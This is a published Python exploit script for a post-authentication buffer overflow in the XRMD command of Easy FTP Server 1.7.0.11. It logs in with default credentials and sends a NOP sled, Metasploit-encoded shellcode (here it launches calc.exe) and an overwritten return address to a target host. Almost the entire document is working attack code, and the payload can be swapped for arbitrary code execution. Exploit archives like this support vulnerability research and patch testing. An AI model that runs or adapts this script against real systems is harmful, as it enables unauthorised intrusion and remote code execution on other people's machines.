Easy FTP Server 1.7.0.11 XRMD Buffer Overflow

`# Exploit Title: Easy FTP Server v1.7.0.11 'XRMD' Command Buffer Overflow (Post Auth)  
# Date: August 12, 2010  
# Author: Glafkos Charalambous  
# Software Link:  
# Version: 1.7.0.11  
# Tested on: Windows XP SP3 En  
  
import socket  
import sys  
  
if len(sys.argv) != 3:  
print "Usage: ./easyftp_XRMD.py <Target IP> <Port>"  
sys.exit(1)  
  
target = sys.argv[1]  
port = int(sys.argv[2])  
  
buffersize = 268  
  
  
# windows/exec - 227 bytes  
# http://www.metasploit.com  
# Encoder: x86/shikata_ga_nai  
# EXITFUNC=process, CMD=calc.exe  
  
shellcode = ("\xd9\xec\xba\x4c\x61\x82\xbc\xd9\x74\x24\xf4\x33\xc9\xb1\x33"  
"\x58\x31\x50\x17\x83\xe8\xfc\x03\x1c\x72\x60\x49\x60\x9c\xed"  
"\xb2\x98\x5d\x8e\x3b\x7d\x6c\x9c\x58\xf6\xdd\x10\x2a\x5a\xee"  
"\xdb\x7e\x4e\x65\xa9\x56\x61\xce\x04\x81\x4c\xcf\xa8\x0d\x02"  
"\x13\xaa\xf1\x58\x40\x0c\xcb\x93\x95\x4d\x0c\xc9\x56\x1f\xc5"  
"\x86\xc5\xb0\x62\xda\xd5\xb1\xa4\x51\x65\xca\xc1\xa5\x12\x60"  
"\xcb\xf5\x8b\xff\x83\xed\xa0\x58\x34\x0c\x64\xbb\x08\x47\x01"  
"\x08\xfa\x56\xc3\x40\x03\x69\x2b\x0e\x3a\x46\xa6\x4e\x7a\x60"  
"\x59\x25\x70\x93\xe4\x3e\x43\xee\x32\xca\x56\x48\xb0\x6c\xb3"  
"\x69\x15\xea\x30\x65\xd2\x78\x1e\x69\xe5\xad\x14\x95\x6e\x50"  
"\xfb\x1c\x34\x77\xdf\x45\xee\x16\x46\x23\x41\x26\x98\x8b\x3e"  
"\x82\xd2\x39\x2a\xb4\xb8\x57\xad\x34\xc7\x1e\xad\x46\xc8\x30"  
"\xc6\x77\x43\xdf\x91\x87\x86\xa4\x6e\xc2\x8b\x8c\xe6\x8b\x59"  
"\x8d\x6a\x2c\xb4\xd1\x92\xaf\x3d\xa9\x60\xaf\x37\xac\x2d\x77"  
"\xab\xdc\x3e\x12\xcb\x73\x3e\x37\xa8\x12\xac\xdb\x01\xb1\x54"  
"\x79\x5e")  
  
  
eip = "\x91\xC8\x41\x7E" # CALL EDI - user32.dll  
nopsled = "\x90" * 16  
junk = "\x90" * (buffersize-(len(nopsled)+len(shellcode)))  
payload = nopsled+shellcode+junk+eip  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:  
connect = s.connect((target, port))  
print "[+] Connected"  
except:  
print "[!] Connection Failed"  
sys.exit(0)  
s.recv(1024)  
  
s.send('User ftp\r\n')  
s.recv(1024)  
s.send('PASS ftp\r\n')  
s.recv(1024)  
print "[+] Sending payload..."  
s.send('XRMD '+payload+'\r\n')  
s.recv(1024)  
s.close()  
`